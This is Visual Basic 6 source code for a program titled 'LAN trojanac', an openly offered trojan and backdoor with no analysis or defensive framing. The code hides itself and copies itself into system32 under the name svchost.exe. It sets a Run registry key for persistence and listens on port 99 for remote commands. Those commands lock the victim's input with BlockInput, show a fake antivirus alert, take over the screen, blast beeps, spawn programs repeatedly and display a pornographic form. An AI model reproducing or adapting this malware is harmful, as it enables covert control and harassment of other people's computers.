[VB6] LAN trojanac

Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
sock.LocalPort = 99
Dim trenutno
trenutno = App.Path & "\" & App.EXEName & ".exe"
If Dir("C:\WINDOWS\system32\1009\", vbDirectory) = "" Then MkDir "C:\WINDOWS\system32\1009\"
If Dir("C:\WINDOWS\system32\1009\svchost.exe", vbDirectory) = "" Then
FileCopy trenutno, "C:\WINDOWS\system32\1009\svchost.exe"
End If
Set hack = CreateObject("wscript.shell")
hack.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetworkDriver", "C:\WINDOWS\system32\1009\svchost.exe", "REG_SZ"
End Sub
Private Sub sock_ConnectionRequest(ByVal requestID As Long)
  If sock.State = sckListening Then
    sock.Close
    sock.Accept requestID
  End If
End Sub
Private Sub sock_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next

    Dim strData As String, i, lngReturn
    sock.GetData a, vbString
    If a = "virus" Then MsgBox "A virus has been detected!" & vbCrLf & "Please alarm network administrar.", vbCritical + vbOKOnly, "Windows security center: ANTIVIRUS"
   
    If a = "napad" Then
    Me.Width = Screen.Width
    Me.Height = Screen.Height
    Me.Visible = True
    Me.BackColor = vbBlack
    lbl.FontSize = 60
    lbl.Top = (Screen.Height \ 2) - (lbl.Height \ 2)
    lbl.Left = (Screen.Width \ 2) - (lbl.Width \ 2)
    End If
   
    If a = "stop" Then Me.Visible = False
   
    If a = "kill" Then
    DoEvents
    BlockInput True
    End If
   
    If a = "beep" Then
    Beep 300, 300
    Beep 400, 170
    Beep 500, 170
    Beep 600, 170
    Beep 500, 150
    Beep 400, 140
    Beep 500, 130
    Beep 600, 120
    Beep 700, 150
    Beep 800, 170
    Beep 900, 170
    Beep 1000, 170
    Beep 1100, 600
    Sleep 200
    Beep 1100, 200
    Sleep 200
    Beep 1100, 200
    Sleep 200
    Beep 1100, 200
    Sleep 200
    Beep 1100, 200
    Sleep 200
    Beep 1100, 200
    Sleep 200
    Beep 1100, 200
    Beep 700, 200
    Beep 300, 200
    Beep 100, 200
    Beep 50, 10000
    Beep 8000, 5000
    Beep 10000, 5000
    Beep 13000, 5000
    Beep 14000, 5000
    End If
   
    If a = "spider" Then
    For i = 1 To 20
    lngReturn = Shell("C:\Windows\system32\spider.exe", vbNormalFocus)
    Next i
    End If
   
    If a = "porno" Then
    Form2.Show
    End If
    If a = "stopporno" Then
    Form2.Hide
    End If
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
If sock.State = sckClosing Then
sock.Close
sock.Listen
End If
If sock.State = sckClosed Then
sock.Close
sock.Listen
End If
End Sub

Public Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long